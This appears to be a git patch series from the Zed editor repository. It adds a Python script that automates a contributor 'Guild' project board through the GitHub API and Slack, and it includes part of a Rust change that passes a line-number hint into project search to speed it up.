diff --git a/script/github-community-pr-board.py b/script/github-community-pr-board.py
index a182de8ac65283..92724e5722f1cc 100644
--- a/script/github-community-pr-board.py
+++ b/script/github-community-pr-board.py
@@ -155,11 +155,17 @@ def compute_size_bucket(total_changes):
 def compute_contributor(pr_labels):
     """Return the Contributor value derived from the PR's labels.
 
-    The auto-labeler is responsible for applying `community champion` and
-    `first contribution` based on the author's history; anything else on
-    the board is treated as a returning contributor (PRs from staff/bots
+    The auto-labeler is responsible for applying `guild`, `community champion`
+    and `first contribution` based on the author's membership/history; anything
+    else on the board is treated as a returning contributor (PRs from staff/bots
     don't reach this function because they're filtered upstream).
+
+    Guild takes precedence over Champion because current-cohort guild members
+    are frequently also community champions, and their guild status is the more
+    relevant signal while the cohort is active.
     """
+    if "guild" in pr_labels:
+        return "Guild"
     if "community champion" in pr_labels:
         return "Champion"
     if "first contribution" in pr_labels:
diff --git a/script/github-guild-board.py b/script/github-guild-board.py
new file mode 100644
index 00000000000000..1fe4c34baaf715
--- /dev/null
+++ b/script/github-guild-board.py
@@ -0,0 +1,634 @@
+#!/usr/bin/env python3
+"""
+Automation for the Guild project board (#74).
+
+GUILD_MODE selects behavior:
+
+- event: react to a single issue webhook.
+    assigned    guild member -> Status "In Progress", or a Slack heads-up if
+                the issue isn't on the board.
+    unassigned  guild member off an "In Progress" issue -> move back to a
+                To-Do column by Type (e.g. Bugs go back to Bug Bashers column) + Slack.
+    created     (issue_comment) guild assignee comments on an issue that has a
+                pending check-in -> Slack (fires on each such comment).
+- stale: nudge issues assigned to a guild member with no linked PR once the
+    assignee goes quiet; a reply resets the clock, so nudges recur after renewed
+    silence, and the assignment is cleared after a further grace period without a
+    reply. The "guild hold" label pauses both nudging and clearing.
+- weekly: Slack digest of board issues recently closed by a merged PR authored
+    by a guild member.
+
+Requires: requests
+"""
+
+import html
+import json
+import os
+import random
+import time
+from datetime import datetime, timedelta, timezone
+from functools import lru_cache
+
+import requests
+
+RETRYABLE_STATUS_CODES = {502, 503, 504}
+MAX_RETRIES = 3
+RETRY_DELAY_SECONDS = 5
+
+GITHUB_API_URL = "https://api.github.com"
+REPO_OWNER = "zed-industries"
+REPO_NAME = "zed"
+GUILD_TEAM_SLUG = "guild-cohort-2"
+
+STATUS_FIELD = "Status"
+STATUS_IN_PROGRESS = "In Progress"
+STATUS_BUG_BASHERS = "Bug Bashers"
+STATUS_SHIP_FEATURE = "Ship a New Feature"
+
+# Which to-do column to move issues of a given type to.
+STATUS_FOR_TYPE = {
+    "Feature": STATUS_SHIP_FEATURE,
+    "Bug": STATUS_BUG_BASHERS,
+    "Docs": STATUS_BUG_BASHERS,
+    "Crash": STATUS_BUG_BASHERS,
+}
+
+# How many days to wait after assignment before posting a check-in comment.
+CHECK_IN_AFTER_DAYS = 14
+# Clear the assignment after this many days of no reply to check-in.
+AUTO_CLEAR_AFTER_DAYS = 7
+# For the slack summaries of what's been recently shipped by the Guild.
+SHIPPED_WINDOW_DAYS = 7
+
+# Applying this label to an issue pauses the stale sweep for it (no nudges, no
+# auto-clear of the assignee) until a human removes the label.
+NUDGE_HOLD_LABEL = "guild hold"
+
+# Hidden in the rendered issue; lets later runs find the bot's own check-in.
+CHECK_IN_MARKER = "<!-- zedgar:guild-check-in -->"
+
+CHECK_IN_BODY = (
+    "{marker}\n"
+    "Hey @{assignee}, checking in to see if you're still actively working on "
+    "this issue. No worries if you no longer have the time. If that's the case, "
+    "do you mind unassigning yourself from the issue so another contributor can "
+    "work on it? If you are still working on it, drop a comment and let us know "
+    "how we can help! Otherwise, the bot will clear the assignment in "
+    "{clear_days} days from now."
+)
+
+ZEDGAR_QUIPS = [
+    "Deep into the backlog peering...",
+    "Once upon a board so dreary...",
+    "A tell-tale ping beneath the board.",
+]
+
+
+def github_graphql(query, variables):
+    for attempt in range(MAX_RETRIES + 1):
+        response = requests.post(
+            f"{GITHUB_API_URL}/graphql",
+            headers=GITHUB_HEADERS,
+            json={"query": query, "variables": variables},
+            timeout=30,
+        )
+        if response.status_code in RETRYABLE_STATUS_CODES and attempt < MAX_RETRIES:
+            time.sleep(RETRY_DELAY_SECONDS)
+            continue
+        response.raise_for_status()
+        result = response.json()
+        if "errors" in result:
+            raise RuntimeError(f"GraphQL error: {result['errors']}")
+        return result["data"]
+    raise RuntimeError("github_graphql: retry loop exited without return")
+
+
+def github_rest_request(method, path, body=None):
+    url = f"{GITHUB_API_URL}/{path}"
+    for attempt in range(MAX_RETRIES + 1):
+        response = requests.request(
+            method, url, headers=GITHUB_HEADERS, json=body, timeout=30
+        )
+        if response.status_code in RETRYABLE_STATUS_CODES and attempt < MAX_RETRIES:
+            time.sleep(RETRY_DELAY_SECONDS)
+            continue
+        response.raise_for_status()
+        if response.status_code == 204 or not response.content:
+            return None
+        return response.json()
+    raise RuntimeError("github_rest_request: retry loop exited without return")
+
+
+def github_rest_get_paginated(path):
+    results = []
+    page = 1
+    while True:
+        separator = "&" if "?" in path else "?"
+        batch = github_rest_request("GET", f"{path}{separator}per_page=100&page={page}")
+        if not batch:
+            break
+        results.extend(batch)
+        if len(batch) < 100:
+            break
+        page += 1
+    return results
+
+
+@lru_cache(maxsize=None)
+def is_guild_member(username):
+    response = requests.get(
+        f"{GITHUB_API_URL}/orgs/{REPO_OWNER}/teams/{GUILD_TEAM_SLUG}/memberships/{username}",
+        headers=GITHUB_HEADERS,
+        timeout=30,
+    )
+    if response.status_code == 404:
+        return False
+    response.raise_for_status()
+    # A pending invitation reports state "pending"; only active members count.
+    return response.json().get("state") == "active"
+
+
+def issue_comments(issue_number):
+    return github_rest_get_paginated(
+        f"repos/{REPO_OWNER}/{REPO_NAME}/issues/{issue_number}/comments"
+    )
+
+
+def latest_assignment_time(issue_number, assignee):
+    events = github_rest_get_paginated(
+        f"repos/{REPO_OWNER}/{REPO_NAME}/issues/{issue_number}/timeline"
+    )
+    times = [
+        parse_dt(event["created_at"])
+        for event in events
+        if event.get("event") == "assigned"
+        and (event.get("assignee") or {}).get("login") == assignee
+    ]
+    if not times:
+        raise RuntimeError(
+            f"No assignment event for {assignee} on issue #{issue_number}"
+        )
+    return max(times)
+
+
+def issue_closing_prs(issue_node_id, include_closed_prs=False):
+    # Caps at the first 20 closing PRs: callers only test presence or scan for a
+    # single guild-authored merge, so an issue exceeding this bound is not worth
+    # paginating.
+    data = github_graphql(
+        """
+        query($issueId: ID!, $includeClosedPrs: Boolean!) {
+          node(id: $issueId) {
+            ... on Issue {
+              closedByPullRequestsReferences(first: 20, includeClosedPrs: $includeClosedPrs) {
+                nodes { merged author { login } }
+              }
+            }
+          }
+        }
+        """,
+        {"issueId": issue_node_id, "includeClosedPrs": include_closed_prs},
+    )
+    node = data.get("node") or {}
+    refs = node.get("closedByPullRequestsReferences") or {}
+    return [
+        {"merged": pr["merged"], "author": (pr.get("author") or {}).get("login")}
+        for pr in refs.get("nodes", [])
+    ]
+
+
+def fetch_project(project_number):
+    data = github_graphql(
+        """
+        query($owner: String!, $number: Int!) {
+          organization(login: $owner) {
+            projectV2(number: $number) {
+              id
+              fields(first: 50) {
+                nodes {
+                  ... on ProjectV2Field { id name dataType }
+                  ... on ProjectV2SingleSelectField { id name options { id name } }
+                }
+              }
+            }
+          }
+        }
+        """,
+        {"owner": REPO_OWNER, "number": project_number},
+    )
+    project = data["organization"]["projectV2"]
+    if not project:
+        raise RuntimeError(f"Project #{project_number} not found in {REPO_OWNER}")
+    return project
+
+
+def find_project_item(project_id, content_node_id):
+    # Also fetches each item's single-select values, so callers that need the
+    # issue's Status (the unassignment handler) don't have to re-query the item.
+    data = github_graphql(
+        """
+        query($contentId: ID!) {
+          node(id: $contentId) {
+            ... on Issue {
+              projectItems(first: 50) {
+                nodes {
+                  id
+                  project { id }
+                  fieldValues(first: 20) {
+                    nodes {
+                      ... on ProjectV2ItemFieldSingleSelectValue {
+                        field { ... on ProjectV2SingleSelectField { name } }
+                        name
+                      }
+                    }
+                  }
+                }
+              }
+            }
+          }
+        }
+        """,
+        {"contentId": content_node_id},
+    )
+    node = data.get("node") or {}
+    for item in (node.get("projectItems") or {}).get("nodes", []):
+        if item["project"]["id"] == project_id:
+            return item
+    return None
+
+
+def set_project_field(project, item_id, field_name, option_name):
+    field = next(
+        (f for f in project["fields"]["nodes"] if f.get("name") == field_name), None
+    )
+    if not field:
+        raise RuntimeError(f"Field '{field_name}' not found on board")
+    option_id = next(
+        (o["id"] for o in field.get("options", []) if o["name"] == option_name), None
+    )
+    if not option_id:
+        raise RuntimeError(f"Option '{option_name}' not found in field '{field_name}'")
+    github_graphql(
+        """
+        mutation($projectId: ID!, $itemId: ID!, $fieldId: ID!, $optionId: String!) {
+          updateProjectV2ItemFieldValue(input: {
+            projectId: $projectId, itemId: $itemId, fieldId: $fieldId,
+            value: { singleSelectOptionId: $optionId }
+          }) { projectV2Item { id } }
+        }
+        """,
+        {
+            "projectId": project["id"],
+            "itemId": item_id,
+            "fieldId": field["id"],
+            "optionId": option_id,
+        },
+    )
+
+
+def list_project_issues(project_id):
+    cursor = None
+    while True:
+        data = github_graphql(
+            """
+            query($projectId: ID!, $cursor: String) {
+              node(id: $projectId) {
+                ... on ProjectV2 {
+                  items(first: 100, after: $cursor) {
+                    pageInfo { hasNextPage endCursor }
+                    nodes {
+                      id
+                      isArchived
+                      fieldValues(first: 20) {
+                        nodes {
+                          ... on ProjectV2ItemFieldSingleSelectValue {
+                            field { ... on ProjectV2SingleSelectField { name } }
+                            name
+                          }
+                        }
+                      }
+                      content {
+                        __typename
+                        ... on Issue {
+                          id number title url state closedAt
+                          issueType { name }
+                          assignees(first: 10) { nodes { login } }
+                          labels(first: 20) { nodes { name } }
+                        }
+                      }
+                    }
+                  }
+                }
+              }
+            }
+            """,
+            {"projectId": project_id, "cursor": cursor},
+        )
+        page = data["node"]["items"]
+        yield from page["nodes"]
+        if not page["pageInfo"]["hasNextPage"]:
+            return
+        cursor = page["pageInfo"]["endCursor"]
+
+
+def post_comment(issue_number, body):
+    github_rest_request(
+        "POST", f"repos/{REPO_OWNER}/{REPO_NAME}/issues/{issue_number}/comments", {"body": body}
+    )
+
+
+def remove_assignees(issue_number, assignees):
+    github_rest_request(
+        "DELETE",
+        f"repos/{REPO_OWNER}/{REPO_NAME}/issues/{issue_number}/assignees",
+        {"assignees": assignees},
+    )
+
+
+def escape_slack(text):
+    # Escape Slack's control characters (&, <, >) so free text like issue/PR
+    # titles and comment bodies renders literally instead of being interpreted
+    # as a link or @-mention. send_slack can't do this wholesale because its own
+    # messages legitimately contain <url|text> links and *bold* markup.
+    # quote=False keeps it to Slack's three characters (no " or ' escaping).
+    return html.escape(text or "", quote=False)
+
+
+def slack_link(url, text):
+    # The single way to embed a titled link, so the title is always escaped
+    # without every caller having to remember to do it.
+    return f"<{url}|{escape_slack(text)}>"
+
+
+def send_slack(text):
+    webhook = os.environ.get("SLACK_WEBHOOK_GUILD_INTERNAL")
+    if not webhook:
+        raise RuntimeError("SLACK_WEBHOOK_GUILD_INTERNAL is not set")
+    message = f"{random.choice(ZEDGAR_QUIPS)} {text}"
+    response = requests.post(
+        webhook,
+        json={
+            "text": message,
+            "blocks": [{"type": "section", "text": {"type": "mrkdwn", "text": message}}],
+        },
+        timeout=30,
+    )
+    if response.status_code != 200:
+        raise RuntimeError(
+            f"Slack webhook returned {response.status_code}: {response.text[:200]}"
+        )
+
+
+def parse_dt(value):
+    return datetime.fromisoformat(value.replace("Z", "+00:00"))
+
+
+def item_status(item):
+    for field_value in (item.get("fieldValues") or {}).get("nodes", []):
+        if field_value.get("field", {}).get("name") == STATUS_FIELD:
+            return field_value.get("name")
+    return None
+
+
+def latest_check_in_time(comments):
+    times = [
+        parse_dt(comment["created_at"])
+        for comment in comments
+        if CHECK_IN_MARKER in (comment.get("body") or "")
+    ]
+    return max(times, default=None)
+
+
+def handle_assignment(issue, assignee_login, project_number):
+    if not is_guild_member(assignee_login):
+        return
+
+    project = fetch_project(project_number)
+    item = find_project_item(project["id"], issue["node_id"])
+    if not item:
+        send_slack(
+            f"Heads-up: @{assignee_login} was assigned to issue #{issue['number']} "
+            f"{slack_link(issue['html_url'], issue['title'])}, which isn't on the Guild board. "
+            "Possible mistake — if it's meant to be Guild work, add it to Bug Bashers "
+            "or Ship a New Feature; otherwise no action needed."
+        )
+        return
+
+    set_project_field(project, item["id"], STATUS_FIELD, STATUS_IN_PROGRESS)
+
+
+def handle_unassignment(issue, removed_login, sender, project_number):
+    # Our own auto-clear also unassigns; don't double-handle that.
+    if (sender or {}).get("type") == "Bot":
+        return
+    if not is_guild_member(removed_login):
+        return
+
+    project = fetch_project(project_number)
+    item = find_project_item(project["id"], issue["node_id"])
+    if not item or item_status(item) != STATUS_IN_PROGRESS:
+        return
+
+    sender_login = (sender or {}).get("login")
+    who = (
+        "unassigned themselves from"
+        if sender_login == removed_login
+        else f"was unassigned (by @{sender_login}) from"
+    )
+    status = STATUS_FOR_TYPE.get((issue.get("type") or {}).get("name") or "")
+    link = slack_link(issue["html_url"], issue["title"])
+    if status:
+        set_project_field(project, item["id"], STATUS_FIELD, status)
+        send_slack(
+            f"@{removed_login} {who} In Progress issue #{issue['number']} "
+            f"{link}. I moved it back to *{status}*, "
+            "so it's up for grabs again — no action needed."
+        )
+    else:
+        send_slack(
+            f"@{removed_login} {who} In Progress issue #{issue['number']} "
+            f"{link}. I couldn't tell its Type, so it's "
+            "still In Progress — please move it to Bug Bashers or Ship a New Feature so it "
+            "can be picked up again, then set the :done-checkmark: emoji on this message when done."
+        )
+
+
+def handle_comment(issue, comment):
+    commenter = (comment.get("user") or {}).get("login")
+    if not commenter or CHECK_IN_MARKER in (comment.get("body") or ""):
+        return
+
+    assignees = [a["login"] for a in (issue.get("assignees") or [])]
+    if commenter not in assignees or not is_guild_member(commenter):
+        return
+
+    check_in_at = latest_check_in_time(issue_comments(issue["number"]))
+    if check_in_at is None or parse_dt(comment["created_at"]) <= check_in_at:
+        return
+
+    reply = " ".join((comment.get("body") or "").split())
+    if len(reply) > 500:
+        reply = reply[:500] + "…"
+    send_slack(
+        f"@{commenter} replied to the check-in on In Progress issue #{issue['number']} "
+        f"{slack_link(issue['html_url'], issue['title'])}:\n"
+        f"> {escape_slack(reply)}\n"
+        f"Follow up if they need help, or add the `{NUDGE_HOLD_LABEL}` label to the "
+        "issue to pause check-ins on it."
+    )
+
+
+def run_event(project_number):
+    event_name = os.environ.get("GITHUB_EVENT_NAME", "")
+    with open(os.environ["GITHUB_EVENT_PATH"]) as f:
+        event = json.load(f)
+
+    if event_name == "issues":
+        action = event["action"]
+        issue = event["issue"]
+        if action == "assigned":
+            handle_assignment(issue, event["assignee"]["login"], project_number)
+        elif action == "unassigned":
+            handle_unassignment(
+                issue, event["assignee"]["login"], event.get("sender"), project_number
+            )
+    elif event_name == "issue_comment" and "pull_request" not in event["issue"]:
+        handle_comment(event["issue"], event["comment"])
+
+
+def run_stale(project_number):
+    project = fetch_project(project_number)
+    checked_in = cleared = 0
+
+    for item in list_project_issues(project["id"]):
+        if item.get("isArchived"):
+            continue
+        content = item.get("content") or {}
+        if content.get("__typename") != "Issue":
+            continue
+        if item_status(item) != STATUS_IN_PROGRESS:
+            continue
+
+        assignees = [a["login"] for a in content["assignees"]["nodes"]]
+        guild_assignees = [a for a in assignees if is_guild_member(a)]
+        if not guild_assignees:
+            continue
+
+        labels = [label["name"] for label in (content.get("labels") or {}).get("nodes", [])]
+        if NUDGE_HOLD_LABEL in labels:
+            continue
+
+        issue_number = content["number"]
+        if issue_closing_prs(content["id"]):
+            continue
+
+        comments = issue_comments(issue_number)
+        assignee = guild_assignees[0]
+
+        # One pass over the comments for both the latest check-in and the
+        # assignee's latest comment. Measuring from the assignee's last activity
+        # (their assignment or a later comment) means a reply resets the clock, so
+        # a nudge only recurs after renewed silence (and a check-in from a prior
+        # assignment stint predates this, so it is naturally ignored).
+        last_activity = latest_assignment_time(issue_number, assignee)
+        check_in_at = None
+        for comment in comments:
+            created_at = parse_dt(comment["created_at"])
+            if CHECK_IN_MARKER in (comment.get("body") or ""):
+                if check_in_at is None or created_at > check_in_at:
+                    check_in_at = created_at
+            elif (comment.get("user") or {}).get("login") == assignee:
+                if created_at > last_activity:
+                    last_activity = created_at
+
+        if check_in_at is None or check_in_at < last_activity:
+            # No outstanding nudge since the assignee last engaged; nudge once
+            # they have stayed quiet for the check-in window.
+            if (NOW - last_activity).days < CHECK_IN_AFTER_DAYS:
+                continue
+            post_comment(
+                issue_number,
+                CHECK_IN_BODY.format(
+                    marker=CHECK_IN_MARKER,
+                    assignee=assignee,
+                    clear_days=AUTO_CLEAR_AFTER_DAYS,
+                ),
+            )
+            checked_in += 1
+            continue
+
+        # We nudged and the assignee stayed quiet; clear once the grace period
+        # lapses, otherwise leave them the rest of it.
+        if (NOW - check_in_at).days < AUTO_CLEAR_AFTER_DAYS:
+            continue
+
+        remove_assignees(issue_number, guild_assignees)
+        status = STATUS_FOR_TYPE.get((content.get("issueType") or {}).get("name") or "")
+        link = slack_link(content["url"], content["title"])
+        if status:
+            set_project_field(project, item["id"], STATUS_FIELD, status)
+            send_slack(
+                f"Issue #{issue_number} {link} went quiet with @{assignee} "
+                "(no linked PR, no reply to my check-in), so I cleared the assignment and "
+                f"moved it back to *{status}*. It's up for grabs again — no action needed."
+            )
+        else:
+            send_slack(
+                f"Issue #{issue_number} {link} went quiet with @{assignee} "
+                "(no linked PR, no reply to my check-in), so I cleared the assignment. I "
+                "couldn't tell its Type — please move it to Bug Bashers or Ship a New "
+                "Feature so it can be picked up again, then set the :done-checkmark: emoji "
+                "on this message when done."
+            )
+        cleared += 1
+
+    print(f"Stale sweep: {checked_in} checked in, {cleared} cleared")
+
+
+def run_weekly(project_number):
+    project = fetch_project(project_number)
+    cutoff = NOW - timedelta(days=SHIPPED_WINDOW_DAYS)
+    shipped = []
+
+    for item in list_project_issues(project["id"]):
+        content = item.get("content") or {}
+        if content.get("__typename") != "Issue" or content.get("state") != "CLOSED":
+            continue
+        if parse_dt(content["closedAt"]) < cutoff:
+            continue
+        for pr in issue_closing_prs(content["id"], include_closed_prs=True):
+            if pr["merged"] and pr["author"] and is_guild_member(pr["author"]):
+                shipped.append((pr["author"], content))
+                break
+
+    if not shipped:
+        send_slack("A quiet week on the Guild board — nothing shipped. Onward.")
+        return
+
+    lines = "\n".join(
+        f"• @{author} — {slack_link(content['url'], content['title'])} (#{content['number']})"
+        for author, content in shipped
+    )
+    send_slack(f"Here's what the Guild shipped this week:\n{lines}")
+
+
+if __name__ == "__main__":
+    GITHUB_HEADERS = {
+        "Authorization": f"Bearer {os.environ['GITHUB_TOKEN']}",
+        "Accept": "application/vnd.github+json",
+        "X-GitHub-Api-Version": "2022-11-28",
+    }
+
+    NOW = datetime.now(timezone.utc)
+
+    project_number = int(os.environ["PROJECT_NUMBER"])
+    mode = os.environ["GUILD_MODE"]
+
+    if mode == "event":
+        run_event(project_number)
+    elif mode == "stale":
+        run_stale(project_number)
+    elif mode == "weekly":
+        run_weekly(project_number)
+    else:
+        raise RuntimeError(f"Unknown GUILD_MODE: {mode}")

From 9375695626f1bba18ae5ba3153aa200c999e342e Mon Sep 17 00:00:00 2001
From: mertkanakkoc <52167810+mertkanakkoc@users.noreply.github.com>
Date: Thu, 2 Jul 2026 12:46:33 +0300
Subject: [PATCH 209/772] Project/use line hint for search (#58871)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

This PR makes two changes:

1. detect() now returns the line number of the first match instead of
just a boolean.
2. This line number (line_hint) is threaded through the pipeline and
passed as a subrange to query.search in full buffer scan, so the full
buffer scan starts from where the first match was already found instead
of the beginning of the file.

 ## Scope

  - This optimization only applies to **local search** (not remote).
- It is only effective for **single-line text and single-line regex**
queries. For multiline queries, `detect()` returns `line_hint = 0`, so
the full buffer is scanned from the beginning as before.
- It does not apply to already-open buffers, which always receive
`line_hint = 0`.

  ## Test
i tried to search the word "typeably" in the file
"pkgs/development/haskell-modules/hackage-packages.nix" of the repo
[nixpkgs](https://github.com/NixOS/nixpkgs) given in the comment:
[comment](https://github.com/zed-industries/zed/issues/38799#issuecomment-4088491295).
Result seems promising:

**with line_hint:
search: 45.21ms**

**without line_hint:
search: 508.05ms**

I measured the time within the function: "handle_find_all_matches"

## Assumption

The core assumption is: if the search query is long enough (after 4 or 5
chars), the probability of finding multiple matches in a single file is
low. In that case, re-scanning the content before line_hint is
unnecessary — detect() function already confirmed there is no match
there.

Changes maybe can make an improvement on issues #38799 and #58905

---------

Co-authored-by: Piotr Osiewicz <24362066+osiewicz@users.noreply.github.com>
---
 crates/project/src/project.rs                |   2 +-
 crates/project/src/project_search.rs         | 133 ++++++++++++-------
 crates/project/src/search.rs                 |  34 +++--
 crates/remote_server/src/headless_project.rs |   2 +-
 4 files changed, 108 insertions(+), 63 deletions(-)

diff --git a/crates/project/src/project.rs b/crates/project/src/project.rs
index 90b4a6a5997150..12a3a263d2d6e2 100644
--- a/crates/project/src/project.rs
+++ b/crates/project/src/project.rs
@@ -5681,7 +5681,7 @@ impl Project {
                 }
             });
 
-            while let Some(buffer) = new_matches.next().await {
+            while let Some((buffer, _)) = new_matches.next().await {
                 let buffer_id = this.update(cx, |this, cx| {
                     this.create_buffer_for_peer(&buffer, peer_id, cx).to_proto()
                 });
diff --git a/crates/project/src/project_search.rs b/crates/project/src/project_search.rs
index 600e7aa5932fb6..971581dcf1abbd 100644
--- a/crates/project/src/project_search.rs
+++ b/crates/project/src/project_search.rs
@@ -16,7 +16,7 @@ use fs::Fs;
 use futures::FutureExt as _;
 use futures::{SinkExt, StreamExt, select_biased, stream::FuturesOrdered};
 use gpui::{App, AppContext, AsyncApp, BackgroundExecutor, Entity, Priority, Task};
-use language::{Buffer, BufferSnapshot};
+use language::{Buffer, BufferSnapshot, Point};
 use parking_lot::Mutex;
 use postage::oneshot;
 use rpc::{AnyProtoClient, proto};
@@ -27,7 +27,7 @@ use worktree::{Entry, ProjectEntryId, Snapshot, Worktree, WorktreeSettings};
 use crate::{
     Project, ProjectItem, ProjectPath, RemotelyCreatedModels,
     buffer_store::BufferStore,
-    search::{SearchQuery, SearchResult},
+    search::{LineHint, SearchQuery, SearchResult},
     worktree_store::WorktreeStore,
 };
 
@@ -61,7 +61,7 @@ enum SearchKind {
 #[must_use]
 pub struct SearchResultsHandle {
     results: Receiver<SearchResult>,
-    matching_buffers: Receiver<Entity<Buffer>>,
+    matching_buffers: Receiver<(Entity<Buffer>, LineHint)>,
     trigger_search: Box<dyn FnOnce(&mut App) -> Task<()> + Send + Sync>,
 }
 
@@ -76,7 +76,7 @@ impl SearchResultsHandle {
             rx: self.results,
         }
     }
-    pub fn matching_buffers(self, cx: &mut App) -> SearchResults<Entity<Buffer>> {
+    pub fn matching_buffers(self, cx: &mut App) -> SearchResults<(Entity<Buffer>, LineHint)> {
         SearchResults {
             task_handle: (self.trigger_search)(cx),
             rx: self.matching_buffers,
@@ -179,12 +179,15 @@ impl Search {
         let open_buffers = Arc::new(open_buffers);
         let executor = cx.background_executor().clone();
         let (tx, rx) = unbounded();
-        let (grab_buffer_snapshot_tx, grab_buffer_snapshot_rx) = unbounded();
+        let (grab_buffer_snapshot_tx, grab_buffer_snapshot_rx) =
+            unbounded::<(Entity<Buffer>, LineHint)>();
         let matching_buffers = grab_buffer_snapshot_rx.clone();
         let trigger_search = Box::new(move |cx: &mut App| {
             cx.spawn(async move |cx| {
                 for buffer in unnamed_buffers {
-                    _ = grab_buffer_snapshot_tx.send(buffer).await;
+                    _ = grab_buffer_snapshot_tx
+                        .send((buffer, LineHint::default()))
+                        .await;
                 }
 
                 let (find_all_matches_tx, find_all_matches_rx) =
@@ -196,7 +199,10 @@ impl Search {
                         let fill_requests = cx
                             .background_spawn(async move {
                                 for buffer in open_buffers {
-                                    if let Err(_) = grab_buffer_snapshot_tx.send(buffer).await {
+                                    if let Err(_) = grab_buffer_snapshot_tx
+                                        .send((buffer, LineHint::default()))
+                                        .await
+                                    {
                                         return;
                                     }
                                 }
@@ -304,8 +310,9 @@ impl Search {
 
                                     let forward_buffers = cx.background_spawn(async move {
                                         while let Ok(buffer) = buffer_rx.recv().await {
-                                            let _ =
-                                                grab_buffer_snapshot_tx.send(buffer.await?).await;
+                                            let _ = grab_buffer_snapshot_tx
+                                                .send((buffer.await?, LineHint::default()))
+                                                .await;
                                         }
                                         anyhow::Ok(())
                                     });
@@ -377,7 +384,6 @@ impl Search {
                     )
                 } else {
                     drop(find_all_matches_tx);
-
                     None
                 };
                 let ensure_matches_are_reported_in_order = if should_find_all_matches {
@@ -387,6 +393,7 @@ impl Search {
                     )
                 } else {
                     drop(tx);
+
                     None
                 };
 
@@ -412,7 +419,7 @@ impl Search {
         worktrees: Vec<Entity<Worktree>>,
         query: Arc<SearchQuery>,
         tx: Sender<InputPath>,
-        results: Sender<oneshot::Receiver<ProjectPath>>,
+        results: Sender<oneshot::Receiver<(ProjectPath, LineHint)>>,
         results_tx: Sender<SearchResult>,
     ) -> impl AsyncFnOnce(&mut AsyncApp) {
         async move |cx| {
@@ -495,18 +502,22 @@ impl Search {
     }
 
     async fn maintain_sorted_search_results(
-        rx: Receiver<oneshot::Receiver<ProjectPath>>,
-        paths_for_full_scan: Sender<ProjectPath>,
+        rx: Receiver<oneshot::Receiver<(ProjectPath, LineHint)>>,
+        paths_for_full_scan: Sender<(ProjectPath, LineHint)>,
         limit: usize,
     ) {
         let mut rx = pin!(rx);
         let mut matched = 0;
         while let Some(mut next_path_result) = rx.next().await {
-            let Some(successful_path) = next_path_result.next().await else {
+            let Some((successful_path, line_hint)) = next_path_result.next().await else {
                 // This file did not produce a match, hence skip it.
                 continue;
             };
-            if paths_for_full_scan.send(successful_path).await.is_err() {
+            if paths_for_full_scan
+                .send((successful_path, line_hint))
+                .await
+                .is_err()
+            {
                 return;
             };
             matched += 1;
@@ -519,23 +530,26 @@ impl Search {
     /// Background workers cannot open buffers by themselves, hence main thread will do it on their behalf.
     async fn open_buffers(
         buffer_store: Entity<BufferStore>,
-        rx: Receiver<ProjectPath>,
-        find_all_matches_tx: Sender<Entity<Buffer>>,
+        rx: Receiver<(ProjectPath, LineHint)>,
+        find_all_matches_tx: Sender<(Entity<Buffer>, LineHint)>,
         mut cx: AsyncApp,
     ) {
         let mut rx = pin!(rx.ready_chunks(64));
         _ = maybe!(async move {
             while let Some(requested_paths) = rx.next().await {
+                let line_hints: Vec<LineHint> =
+                    requested_paths.iter().map(|(_, line)| *line).collect();
                 let mut buffers = buffer_store.update(&mut cx, |this, cx| {
                     requested_paths
                         .into_iter()
-                        .map(|path| this.open_buffer(path, cx))
+                        .map(|(path, _)| this.open_buffer(path, cx))
                         .collect::<FuturesOrdered<_>>()
                 });
-
+                let mut line_hints = line_hints.into_iter();
                 while let Some(buffer) = buffers.next().await {
+                    let line_hint = line_hints.next().unwrap_or(LineHint::default());
                     if let Some(buffer) = buffer.log_err() {
-                        find_all_matches_tx.send(buffer).await?;
+                        find_all_matches_tx.send((buffer, line_hint)).await?;
                     }
                 }
             }
@@ -545,20 +559,23 @@ impl Search {
     }
 
     async fn grab_buffer_snapshots(
-        rx: Receiver<Entity<Buffer>>,
-        find_all_matches_tx: Sender<(
-            Entity<Buffer>,
-            BufferSnapshot,
-            oneshot::Sender<(Entity<Buffer>, Vec<Range<language::Anchor>>)>,
-        )>,
+        rx: Receiver<(Entity<Buffer>, LineHint)>,
+        find_all_matches_tx: Sender<FindAllMatchesRequest>,
         results: Sender<oneshot::Receiver<(Entity<Buffer>, Vec<Range<language::Anchor>>)>>,
         mut cx: AsyncApp,
     ) {
         _ = maybe!(async move {
-            while let Ok(buffer) = rx.recv().await {
+            while let Ok((buffer, line_hint)) = rx.recv().await {
                 let snapshot = buffer.read_with(&mut cx, |this, _| this.snapshot());
                 let (tx, rx) = oneshot::channel();
-                find_all_matches_tx.send((buffer, snapshot, tx)).await?;
+                find_all_matches_tx
+                    .send(FindAllMatchesRequest {
+                        buffer,
+                        snapshot,
+                        line_hint,
+                        report_matches: tx,
+                    })
+                    .await?;
                 results.send(rx).await?;
             }
             debug_assert!(rx.is_empty());
@@ -645,11 +662,7 @@ struct Worker {
     candidates: FindSearchCandidates,
     /// Ok, we're back in background: run full scan & find all matches in a given buffer snapshot.
     /// Then, when you're done, share them via the channel you were given.
-    find_all_matches_rx: Receiver<(
-        Entity<Buffer>,
-        BufferSnapshot,
-        oneshot::Sender<(Entity<Buffer>, Vec<Range<language::Anchor>>)>,
-    )>,
+    find_all_matches_rx: Receiver<FindAllMatchesRequest>,
 }
 
 impl Worker {
@@ -730,20 +743,28 @@ struct RequestHandler<'worker> {
 }
 
 impl RequestHandler<'_> {
-    async fn handle_find_all_matches(
-        &self,
-        (buffer, snapshot, mut report_matches): (
-            Entity<Buffer>,
-            BufferSnapshot,
-            oneshot::Sender<(Entity<Buffer>, Vec<Range<language::Anchor>>)>,
-        ),
-    ) {
+    async fn handle_find_all_matches(&self, request: FindAllMatchesRequest) {
+        let FindAllMatchesRequest {
+            buffer,
+            snapshot,
+            line_hint,
+            mut report_matches,
+        } = request;
+        let range_offset = if line_hint > 0 {
+            snapshot.point_to_offset(Point::new(line_hint, 0))
+        } else {
+            0
+        };
